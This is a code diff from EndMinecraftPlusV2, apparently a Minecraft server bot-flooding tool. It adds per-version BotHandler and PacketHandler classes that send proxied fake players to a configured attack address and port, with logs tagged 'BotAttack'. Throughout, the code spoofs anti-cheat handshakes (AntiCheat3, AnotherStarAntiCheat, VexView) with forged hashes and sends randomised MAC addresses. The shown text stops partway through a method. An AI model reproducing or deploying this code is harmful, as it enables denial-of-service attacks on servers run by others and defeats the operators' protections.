<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/../libs/MCP-1.15.2.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="module" module-name="Tools" />
|
||||
<orderEntry type="module" module-name="AdvanceModule" />
|
||||
<orderEntry type="module" module-name="VersionFactory" />
|
||||
</component>
|
||||
</module>
|
@ -0,0 +1,209 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_15_X;
|
||||
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Bot.BotManager;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketManager;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ProxyUtil;
|
||||
import com.github.steveice10.mc.protocol.MinecraftProtocol;
|
||||
import com.github.steveice10.packetlib.Client;
|
||||
import com.github.steveice10.packetlib.ProxyInfo;
|
||||
import com.github.steveice10.packetlib.event.session.*;
|
||||
import com.github.steveice10.packetlib.tcp.TcpSessionFactory;
|
||||
|
||||
import java.net.Proxy;
|
||||
|
||||
public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Bot.BotHandler {
|
||||
@Override
|
||||
public Object createClient(Proxy proxy, String userName) {
|
||||
ProxyInfo proxyInfo = new ProxyInfo(getProxyType(ConfigUtil.ProxyType), proxy.address());
|
||||
return new Client(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, new MinecraftProtocol(userName), new TcpSessionFactory(proxyInfo));
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object createClientLocal(String userName) {
|
||||
return new Client(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, new MinecraftProtocol(userName), new TcpSessionFactory());
|
||||
}
|
||||
|
||||
@Override
|
||||
public void connect(Object c, Proxy proxy) {
|
||||
Client client = (Client) c;
|
||||
String userName = BotManager.clientList.get(c);
|
||||
if (ConfigUtil.ForgeSupport) {
|
||||
LogUtil.doLog(0, "选定的协议库版本无法启用Forge支持。", "ForgeSupport");
|
||||
}
|
||||
|
||||
client.getSession().addListener(new SessionListener() {
|
||||
public void packetReceived(PacketReceivedEvent e) {
|
||||
if (!BotManager.aliveList.containsKey(client)) {
|
||||
if (ConfigUtil.SaveWorkingProxy) {
|
||||
ProxyUtil.saveWorkingProxy(proxy);
|
||||
}
|
||||
BotManager.aliveList.put(client, userName);
|
||||
BotManager.joinedCount++;
|
||||
}
|
||||
|
||||
new Thread(() -> {
|
||||
PacketManager.handlePacket(BotManager.packetHandler, client, e.getPacket(), userName);
|
||||
}).start();
|
||||
}
|
||||
|
||||
@Override
|
||||
public void packetSending(PacketSendingEvent packetSendingEvent) {
|
||||
}
|
||||
|
||||
public void packetSent(PacketSentEvent e) {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void packetError(PacketErrorEvent packetErrorEvent) {
|
||||
}
|
||||
|
||||
public void connected(ConnectedEvent e) {
|
||||
}
|
||||
|
||||
public void disconnecting(DisconnectingEvent e) {
|
||||
}
|
||||
|
||||
public void disconnected(DisconnectedEvent e) {
|
||||
String disconnectMsg;
|
||||
|
||||
if (e.getCause() == null) {
|
||||
disconnectMsg = e.getReason();
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
} else {
|
||||
disconnectMsg = e.getCause().getClass().getSimpleName();
|
||||
if (ConfigUtil.ShowFails) {
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
client.getSession().setFlag("disconnectMsg", disconnectMsg);
|
||||
BotManager.aliveList.remove(client);
|
||||
BotManager.failedCount++;
|
||||
}
|
||||
});
|
||||
|
||||
client.getSession().connect(true);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void disconnect(Object c) {
|
||||
Client client = (Client) c;
|
||||
client.getSession().disconnect("");
|
||||
}
|
||||
|
||||
@Override
|
||||
public void connectLocal(Object c) {
|
||||
Client client = (Client) c;
|
||||
String userName = BotManager.clientList.get(c);
|
||||
if (ConfigUtil.ForgeSupport) {
|
||||
LogUtil.doLog(0, "[DEBUG] [载入Mod列表]", "BotAttack");
|
||||
LogUtil.doLog(0, "[DEBUG] [载入Mod列表] 选定的协议库版本无法启用Forge支持。", "BotAttack");
|
||||
}
|
||||
|
||||
LogUtil.doLog(0, "[DEBUG] [创建监听器]", "BotAttack");
|
||||
client.getSession().addListener(new SessionListener() {
|
||||
public void packetReceived(PacketReceivedEvent e) {
|
||||
if (!BotManager.aliveList.containsKey(client)) {
|
||||
BotManager.aliveList.put(client, userName);
|
||||
BotManager.joinedCount++;
|
||||
}
|
||||
|
||||
new Thread(() -> {
|
||||
PacketManager.handlePacket(BotManager.packetHandler, client, e.getPacket(), userName);
|
||||
}).start();
|
||||
}
|
||||
|
||||
@Override
|
||||
public void packetSending(PacketSendingEvent packetSendingEvent) {
|
||||
}
|
||||
|
||||
public void packetSent(PacketSentEvent e) {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void packetError(PacketErrorEvent packetErrorEvent) {
|
||||
}
|
||||
|
||||
public void connected(ConnectedEvent e) {
|
||||
LogUtil.doLog(0, "[DEBUG] [Bot连接成功]", "BotAttack");
|
||||
}
|
||||
|
||||
public void disconnecting(DisconnectingEvent e) {
|
||||
}
|
||||
|
||||
public void disconnected(DisconnectedEvent e) {
|
||||
String disconnectMsg;
|
||||
|
||||
if (e.getCause() == null) {
|
||||
disconnectMsg = e.getReason();
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
} else {
|
||||
e.getCause().printStackTrace();
|
||||
disconnectMsg = e.getCause().getClass().getSimpleName();
|
||||
if (ConfigUtil.ShowFails) {
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
BotManager.failedCount++;
|
||||
client.getSession().setFlag("disconnectMsg", disconnectMsg);
|
||||
|
||||
BotManager.aliveList.remove(client);
|
||||
}
|
||||
});
|
||||
|
||||
LogUtil.doLog(0, "[DEBUG] [连接建立开始] " + client.getHost() + ":" + client.getPort(), "BotAttack");
|
||||
client.getSession().connect(true);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkClientStatus(Object client) {
|
||||
Client c = (Client) client;
|
||||
return c.getSession().isConnected();
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getClientDisconnectMsg(Object client) {
|
||||
Client c = (Client) client;
|
||||
return c.getSession().getFlag("disconnectMsg");
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean hasClientFlag(Object client, String flag) {
|
||||
Client c = (Client) client;
|
||||
return c.getSession().hasFlag(flag);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setClientFlag(Object client, String flag) {
|
||||
Client c = (Client) client;
|
||||
c.getSession().setFlag(flag, "");
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setClientTimeout(Object client, long timeout) {
|
||||
Client c = (Client) client;
|
||||
c.getSession().setReadTimeout(Math.toIntExact(timeout));
|
||||
c.getSession().setWriteTimeout(Math.toIntExact(timeout));
|
||||
}
|
||||
|
||||
private static ProxyInfo.Type getProxyType(int type) {
|
||||
ProxyInfo.Type proxyType;
|
||||
switch (type) {
|
||||
case 3:
|
||||
proxyType = ProxyInfo.Type.SOCKS5;
|
||||
break;
|
||||
case 2:
|
||||
proxyType = ProxyInfo.Type.SOCKS4;
|
||||
break;
|
||||
case 1:
|
||||
default:
|
||||
proxyType = ProxyInfo.Type.HTTP;
|
||||
break;
|
||||
}
|
||||
|
||||
return proxyType;
|
||||
}
|
||||
}
|
@ -0,0 +1,303 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_15_X;
|
||||
|
||||
import cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.ACProtocol.AnotherStarAntiCheat;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.ACProtocol.AntiCheat3;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketManager;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.UniverseMethods;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils;
|
||||
import com.github.steveice10.mc.protocol.data.game.ClientRequest;
|
||||
import com.github.steveice10.mc.protocol.data.game.entity.player.Hand;
|
||||
import com.github.steveice10.mc.protocol.data.game.setting.ChatVisibility;
|
||||
import com.github.steveice10.mc.protocol.data.game.setting.SkinPart;
|
||||
import com.github.steveice10.mc.protocol.data.message.Message;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.client.*;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.client.player.ClientPlayerChangeHeldItemPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.client.player.ClientPlayerMovementPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.client.player.ClientPlayerPositionRotationPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.server.ServerChatPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.server.ServerJoinGamePacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.server.ServerKeepAlivePacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.server.ServerPluginMessagePacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.server.entity.player.ServerPlayerHealthPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.server.entity.player.ServerPlayerPositionRotationPacket;
|
||||
import com.github.steveice10.packetlib.Client;
|
||||
import com.github.steveice10.packetlib.Session;
|
||||
import com.google.gson.JsonElement;
|
||||
import com.google.gson.JsonObject;
|
||||
import com.google.gson.JsonParser;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.Arrays;
|
||||
|
||||
public class PacketHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketHandler {
|
||||
@Override
|
||||
public boolean checkServerPluginMessagePacket(Object packet) {
|
||||
return packet instanceof ServerPluginMessagePacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerPluginMessagePacket(Object client, Object recvPacket, String username) {
|
||||
ServerPluginMessagePacket packet = (ServerPluginMessagePacket) recvPacket;
|
||||
Session session = ((Client) client).getSession();
|
||||
|
||||
switch (packet.getChannel()) {
|
||||
case "AntiCheat3.4.3":
|
||||
AntiCheat3 ac3 = new AntiCheat3();
|
||||
String code = ac3.uncompress(packet.getData());
|
||||
byte[] checkData = ac3.getCheckData("AntiCheat3.jar", code, new String[]{"44f6bc86a41fa0555784c255e3174260"});
|
||||
sendClientPluginMessagePacket(session, "AntiCheat3.4.3", checkData);
|
||||
break;
|
||||
case "anotherstaranticheat":
|
||||
AnotherStarAntiCheat asac = new AnotherStarAntiCheat();
|
||||
String salt = asac.decodeSPacket(packet.getData());
|
||||
byte[] data = asac.encodeCPacket(new String[]{"4863f8708f0c24517bb5d108d45f3e15"}, salt);
|
||||
sendClientPluginMessagePacket(session, "anotherstaranticheat", data);
|
||||
break;
|
||||
case "VexView":
|
||||
if (new String(packet.getData()).equals("GET:Verification")) {
|
||||
sendClientPluginMessagePacket(session, "VexView", "Verification:1.8.10".getBytes());
|
||||
}
|
||||
break;
|
||||
case "MAC|Check":
|
||||
if (ConfigUtil.RandomMAC) {
|
||||
byte[] MACAddress = UniverseMethods.getRandomMAC();
|
||||
LogUtil.doLog(0, "[" + username + "] 已发送随机MACAddress数据。(" + Arrays.toString(MACAddress) + ")", "MACCheck");
|
||||
sendClientPluginMessagePacket(session, packet.getChannel(), MACAddress);
|
||||
}
|
||||
break;
|
||||
default:
|
||||
// 收到插件消息
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerJoinGamePacket(Object packet) {
|
||||
return packet instanceof ServerJoinGamePacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerJoinGamePacket(Object client, Object recvPacket, String username) {
|
||||
Session session = ((Client) client).getSession();
|
||||
session.setFlag("join", true);
|
||||
LogUtil.doLog(0, "[假人加入服务器] [" + username + "]", "BotAttack");
|
||||
|
||||
sendClientSettingPacket(session, "zh_CN");
|
||||
sendClientChangeHeldItemPacket(session, 1);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerPlayerPositionRotationPacket(Object packet) {
|
||||
return packet instanceof ServerPlayerPositionRotationPacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerPlayerPositionRotationPacket(Object client, Object recvPacket, String username) {
|
||||
Session session = ((Client) client).getSession();
|
||||
ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket;
|
||||
sendPositionRotationPacket(session, packet.getX(), packet.getY(), packet.getZ(), packet.getYaw(), packet.getYaw());
|
||||
sendClientPlayerMovementPacket(session, true);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerChatPacket(Object packet) {
|
||||
return packet instanceof ServerChatPacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerChatPacket(Object client, Object recvPacket, String username) {
|
||||
ServerChatPacket chatPacket = (ServerChatPacket) recvPacket;
|
||||
Message message = chatPacket.getMessage();
|
||||
if (ConfigUtil.ShowServerMessages && !getMessageText(message).equals("")) {
|
||||
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + getMessageText(message), "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerKeepAlivePacket(Object packet) {
|
||||
return packet instanceof ServerKeepAlivePacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerKeepAlivePacket(Object client, Object recvPacket, String username) {
|
||||
Session session = ((Client) client).getSession();
|
||||
ServerKeepAlivePacket serverKeepAlivePacket = (ServerKeepAlivePacket) recvPacket;
|
||||
if (ConfigUtil.KeepAlive) {
|
||||
sendClientKeepAlivePacket(session, serverKeepAlivePacket.getPingId());
|
||||
} }
|
||||
|
||||
@Override
|
||||
public boolean checkServerPlayerHealthPacket(Object packet) {
|
||||
return packet instanceof ServerPlayerHealthPacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerPlayerHealthPacket(Object client, Object recvPacket, String username) {
|
||||
Session session = ((Client) client).getSession();
|
||||
ServerPlayerHealthPacket serverPlayerHealthPacket = (ServerPlayerHealthPacket) recvPacket;
|
||||
double health = serverPlayerHealthPacket.getHealth();
|
||||
if (health <= 0) {
|
||||
sendRespawnPacket(session);
|
||||
LogUtil.doLog(0, "[" + username + "] " + "假人于服务器中死亡,已重生。", "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleOtherPacket(Object packet) {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendChatPacket(Object client, String text) {
|
||||
Session session = ((Client) client).getSession();
|
||||
ClientChatPacket chatPacket = new ClientChatPacket(text);
|
||||
session.send(chatPacket);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendTabCompletePacket(Object client, String cmd) {
|
||||
Session session = ((Client) client).getSession();
|
||||
ClientTabCompletePacket clientTabCompletePacket = new ClientTabCompletePacket(1, cmd);
|
||||
session.send(clientTabCompletePacket);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) {
|
||||
Session session = ((Client) client).getSession();
|
||||
ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket;
|
||||
double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
|
||||
double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
|
||||
double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
|
||||
float yaw = packet.getYaw() + (random ? OtherUtils.getRandomFloat(0.00, 1.00) : 0);
|
||||
float pitch = packet.getPitch() + (random ? OtherUtils.getRandomFloat(0.00, 1.00) : 0);
|
||||
sendPositionRotationPacket(session, x, y, z, yaw, pitch);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendCrashBookPacket(Object client) {
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object getMessageFromPacket(Object packet) {
|
||||
ServerChatPacket chatPacket = (ServerChatPacket) packet;
|
||||
return chatPacket.getMessage();
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean hasMessageClickEvent(Object message) {
|
||||
Message msg = (Message) message;
|
||||
return msg.getStyle().getClickEvent() != null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getMessageText(Object message) {
|
||||
Message msg = (Message) message;
|
||||
return getTextFromJson(new JsonParser().parse(msg.toString()));
|
||||
}
|
||||
|
||||
private static String getTextFromJson(JsonElement element) {
|
||||
StringBuilder textBuilder = new StringBuilder();
|
||||
if (element.isJsonObject()) {
|
||||
JsonObject obj = element.getAsJsonObject();
|
||||
|
||||
// 处理 "translate" 字段
|
||||
boolean hasTranslate = obj.has("translate");
|
||||
String translate = hasTranslate ? obj.get("translate").getAsString() : "";
|
||||
if (hasTranslate && !translate.contains("chat.type")) {
|
||||
return translate;
|
||||
}
|
||||
|
||||
// 处理 "text" 字段
|
||||
if (obj.has("text") && !obj.get("text").getAsString().isEmpty()) {
|
||||
textBuilder.append(obj.get("text").getAsString());
|
||||
}
|
||||
|
||||
// 处理 "extra" 数组
|
||||
if (obj.has("extra")) {
|
||||
for (JsonElement extraElement : obj.getAsJsonArray("extra")) {
|
||||
textBuilder.append(getTextFromJson(extraElement));
|
||||
}
|
||||
}
|
||||
|
||||
// 处理 "with" 数组
|
||||
if (obj.has("with")) {
|
||||
ArrayList<String> withElementsText = new ArrayList<>();
|
||||
for (JsonElement withElement : obj.getAsJsonArray("with")) {
|
||||
withElementsText.add(getTextFromJson(withElement));
|
||||
}
|
||||
|
||||
// 组合 "with" 数组元素
|
||||
if (!withElementsText.isEmpty()) {
|
||||
textBuilder.append("[").append(withElementsText.get(0)).append("]"); // 第一个元素加上方括号
|
||||
// 其他元素用空格分隔
|
||||
for (int i = 1; i < withElementsText.size(); i++) {
|
||||
textBuilder.append(" ").append(withElementsText.get(i));
|
||||
}
|
||||
}
|
||||
}
|
||||
} else if (element.isJsonArray()) {
|
||||
for (JsonElement arrElement : element.getAsJsonArray()) {
|
||||
textBuilder.append(getTextFromJson(arrElement));
|
||||
}
|
||||
} else if (element.isJsonPrimitive()) {
|
||||
textBuilder.append(element.getAsString());
|
||||
}
|
||||
return textBuilder.toString();
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleMessageExtra(cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketHandler packetHandler, Object message, Object client, String username) {
|
||||
Message msg = (Message) message;
|
||||
for (Message extra : msg.getExtra()) {
|
||||
PacketManager.clickVerifiesHandle(packetHandler, client, extra, username);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getClickValue(Object message) {
|
||||
Message msg = (Message) message;
|
||||
return msg.getStyle().getClickEvent().getValue();
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean hasMessageExtra(Object message) {
|
||||
Message msg = (Message) message;
|
||||
return msg.getExtra() != null && !msg.getExtra().isEmpty();
|
||||
}
|
||||
|
||||
private void sendClientPluginMessagePacket(Session session, String channel, byte[] data) {
|
||||
ClientPluginMessagePacket clientPluginMessagePacket = new ClientPluginMessagePacket(channel, data);
|
||||
session.send(clientPluginMessagePacket);
|
||||
}
|
||||
|
||||
private void sendClientSettingPacket(Session session, String locale) {
|
||||
ClientSettingsPacket clientSettingsPacket = new ClientSettingsPacket(locale, 8, ChatVisibility.FULL, true, Arrays.asList(SkinPart.values()), Hand.MAIN_HAND);
|
||||
session.send(clientSettingsPacket);
|
||||
}
|
||||
|
||||
private void sendClientChangeHeldItemPacket(Session session, int slot) {
|
||||
ClientPlayerChangeHeldItemPacket clientPlayerChangeHeldItemPacket = new ClientPlayerChangeHeldItemPacket(slot);
|
||||
session.send(clientPlayerChangeHeldItemPacket);
|
||||
}
|
||||
|
||||
private void sendPositionRotationPacket(Session session, double x, double y, double z, float yaw, float pitch) {
|
||||
ClientPlayerPositionRotationPacket clientPlayerPositionRotationPacket = new ClientPlayerPositionRotationPacket(true, x, y, z, yaw, pitch);
|
||||
session.send(clientPlayerPositionRotationPacket);
|
||||
}
|
||||
|
||||
private void sendClientPlayerMovementPacket(Session session, boolean onGround) {
|
||||
ClientPlayerMovementPacket clientPlayerMovementPacket = new ClientPlayerMovementPacket(onGround);
|
||||
session.send(clientPlayerMovementPacket);
|
||||
}
|
||||
|
||||
private void sendClientKeepAlivePacket(Session session, long pingId) {
|
||||
ClientKeepAlivePacket packet = new ClientKeepAlivePacket(pingId);
|
||||
session.send(packet);
|
||||
}
|
||||
|
||||
private void sendRespawnPacket(Session session) {
|
||||
ClientRequestPacket clientRequestPacket = new ClientRequestPacket(ClientRequest.RESPAWN);
|
||||
session.send(clientRequestPacket);
|
||||
}
|
||||
}
|
||||
|
23
VersionSupport-P1_16_X/VersionSupport-P1_16_X.iml
Normal file
23
VersionSupport-P1_16_X/VersionSupport-P1_16_X.iml
Normal file
@ -0,0 +1,23 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<module type="JAVA_MODULE" version="4">
|
||||
<component name="NewModuleRootManager" inherit-compiler-output="true">
|
||||
<exclude-output />
|
||||
<content url="file://$MODULE_DIR$">
|
||||
<sourceFolder url="file://$MODULE_DIR$/src" isTestSource="false" />
|
||||
</content>
|
||||
<orderEntry type="inheritedJdk" />
|
||||
<orderEntry type="sourceFolder" forTests="false" />
|
||||
<orderEntry type="module" module-name="VersionFactory" />
|
||||
<orderEntry type="module" module-name="Tools" />
|
||||
<orderEntry type="module" module-name="AdvanceModule" />
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/../libs/MCP-1.16.4.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
</component>
|
||||
</module>
|
@ -0,0 +1,209 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_16_X;
|
||||
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Bot.BotManager;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketManager;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ProxyUtil;
|
||||
import com.github.steveice10.mc.protocol.MinecraftProtocol;
|
||||
import com.github.steveice10.packetlib.Client;
|
||||
import com.github.steveice10.packetlib.ProxyInfo;
|
||||
import com.github.steveice10.packetlib.event.session.*;
|
||||
import com.github.steveice10.packetlib.tcp.TcpSessionFactory;
|
||||
|
||||
import java.net.Proxy;
|
||||
|
||||
public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Bot.BotHandler {
|
||||
@Override
|
||||
public Object createClient(Proxy proxy, String userName) {
|
||||
ProxyInfo proxyInfo = new ProxyInfo(getProxyType(ConfigUtil.ProxyType), proxy.address());
|
||||
return new Client(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, new MinecraftProtocol(userName), new TcpSessionFactory(proxyInfo));
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object createClientLocal(String userName) {
|
||||
return new Client(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, new MinecraftProtocol(userName), new TcpSessionFactory());
|
||||
}
|
||||
|
||||
@Override
|
||||
public void connect(Object c, Proxy proxy) {
|
||||
Client client = (Client) c;
|
||||
String userName = BotManager.clientList.get(c);
|
||||
if (ConfigUtil.ForgeSupport) {
|
||||
LogUtil.doLog(0, "选定的协议库版本无法启用Forge支持。", "ForgeSupport");
|
||||
}
|
||||
|
||||
client.getSession().addListener(new SessionListener() {
|
||||
public void packetReceived(PacketReceivedEvent e) {
|
||||
if (!BotManager.aliveList.containsKey(client)) {
|
||||
if (ConfigUtil.SaveWorkingProxy) {
|
||||
ProxyUtil.saveWorkingProxy(proxy);
|
||||
}
|
||||
BotManager.aliveList.put(client, userName);
|
||||
BotManager.joinedCount++;
|
||||
}
|
||||
|
||||
new Thread(() -> {
|
||||
PacketManager.handlePacket(BotManager.packetHandler, client, e.getPacket(), userName);
|
||||
}).start();
|
||||
}
|
||||
|
||||
@Override
|
||||
public void packetSending(PacketSendingEvent packetSendingEvent) {
|
||||
}
|
||||
|
||||
public void packetSent(PacketSentEvent e) {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void packetError(PacketErrorEvent packetErrorEvent) {
|
||||
}
|
||||
|
||||
public void connected(ConnectedEvent e) {
|
||||
}
|
||||
|
||||
public void disconnecting(DisconnectingEvent e) {
|
||||
}
|
||||
|
||||
public void disconnected(DisconnectedEvent e) {
|
||||
String disconnectMsg;
|
||||
|
||||
if (e.getCause() == null) {
|
||||
disconnectMsg = e.getReason();
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
} else {
|
||||
disconnectMsg = e.getCause().getClass().getSimpleName();
|
||||
if (ConfigUtil.ShowFails) {
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
client.getSession().setFlag("disconnectMsg", disconnectMsg);
|
||||
BotManager.aliveList.remove(client);
|
||||
BotManager.failedCount++;
|
||||
}
|
||||
});
|
||||
|
||||
client.getSession().connect(true);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void disconnect(Object c) {
|
||||
Client client = (Client) c;
|
||||
client.getSession().disconnect("");
|
||||
}
|
||||
|
||||
@Override
|
||||
public void connectLocal(Object c) {
|
||||
Client client = (Client) c;
|
||||
String userName = BotManager.clientList.get(c);
|
||||
if (ConfigUtil.ForgeSupport) {
|
||||
LogUtil.doLog(0, "[DEBUG] [载入Mod列表]", "BotAttack");
|
||||
LogUtil.doLog(0, "[DEBUG] [载入Mod列表] 选定的协议库版本无法启用Forge支持。", "BotAttack");
|
||||
}
|
||||
|
||||
LogUtil.doLog(0, "[DEBUG] [创建监听器]", "BotAttack");
|
||||
client.getSession().addListener(new SessionListener() {
|
||||
public void packetReceived(PacketReceivedEvent e) {
|
||||
if (!BotManager.aliveList.containsKey(client)) {
|
||||
BotManager.aliveList.put(client, userName);
|
||||
BotManager.joinedCount++;
|
||||
}
|
||||
|
||||
new Thread(() -> {
|
||||
PacketManager.handlePacket(BotManager.packetHandler, client, e.getPacket(), userName);
|
||||
}).start();
|
||||
}
|
||||
|
||||
@Override
|
||||
public void packetSending(PacketSendingEvent packetSendingEvent) {
|
||||
}
|
||||
|
||||
public void packetSent(PacketSentEvent e) {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void packetError(PacketErrorEvent packetErrorEvent) {
|
||||
}
|
||||
|
||||
public void connected(ConnectedEvent e) {
|
||||
LogUtil.doLog(0, "[DEBUG] [Bot连接成功]", "BotAttack");
|
||||
}
|
||||
|
||||
public void disconnecting(DisconnectingEvent e) {
|
||||
}
|
||||
|
||||
public void disconnected(DisconnectedEvent e) {
|
||||
String disconnectMsg;
|
||||
|
||||
if (e.getCause() == null) {
|
||||
disconnectMsg = e.getReason();
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
} else {
|
||||
e.getCause().printStackTrace();
|
||||
disconnectMsg = e.getCause().getClass().getSimpleName();
|
||||
if (ConfigUtil.ShowFails) {
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
BotManager.failedCount++;
|
||||
client.getSession().setFlag("disconnectMsg", disconnectMsg);
|
||||
|
||||
BotManager.aliveList.remove(client);
|
||||
}
|
||||
});
|
||||
|
||||
LogUtil.doLog(0, "[DEBUG] [连接建立开始] " + client.getHost() + ":" + client.getPort(), "BotAttack");
|
||||
client.getSession().connect(true);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkClientStatus(Object client) {
|
||||
Client c = (Client) client;
|
||||
return c.getSession().isConnected();
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getClientDisconnectMsg(Object client) {
|
||||
Client c = (Client) client;
|
||||
return c.getSession().getFlag("disconnectMsg");
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean hasClientFlag(Object client, String flag) {
|
||||
Client c = (Client) client;
|
||||
return c.getSession().hasFlag(flag);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setClientFlag(Object client, String flag) {
|
||||
Client c = (Client) client;
|
||||
c.getSession().setFlag(flag, "");
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setClientTimeout(Object client, long timeout) {
|
||||
Client c = (Client) client;
|
||||
c.getSession().setReadTimeout(Math.toIntExact(timeout));
|
||||
c.getSession().setWriteTimeout(Math.toIntExact(timeout));
|
||||
}
|
||||
|
||||
private static ProxyInfo.Type getProxyType(int type) {
|
||||
ProxyInfo.Type proxyType;
|
||||
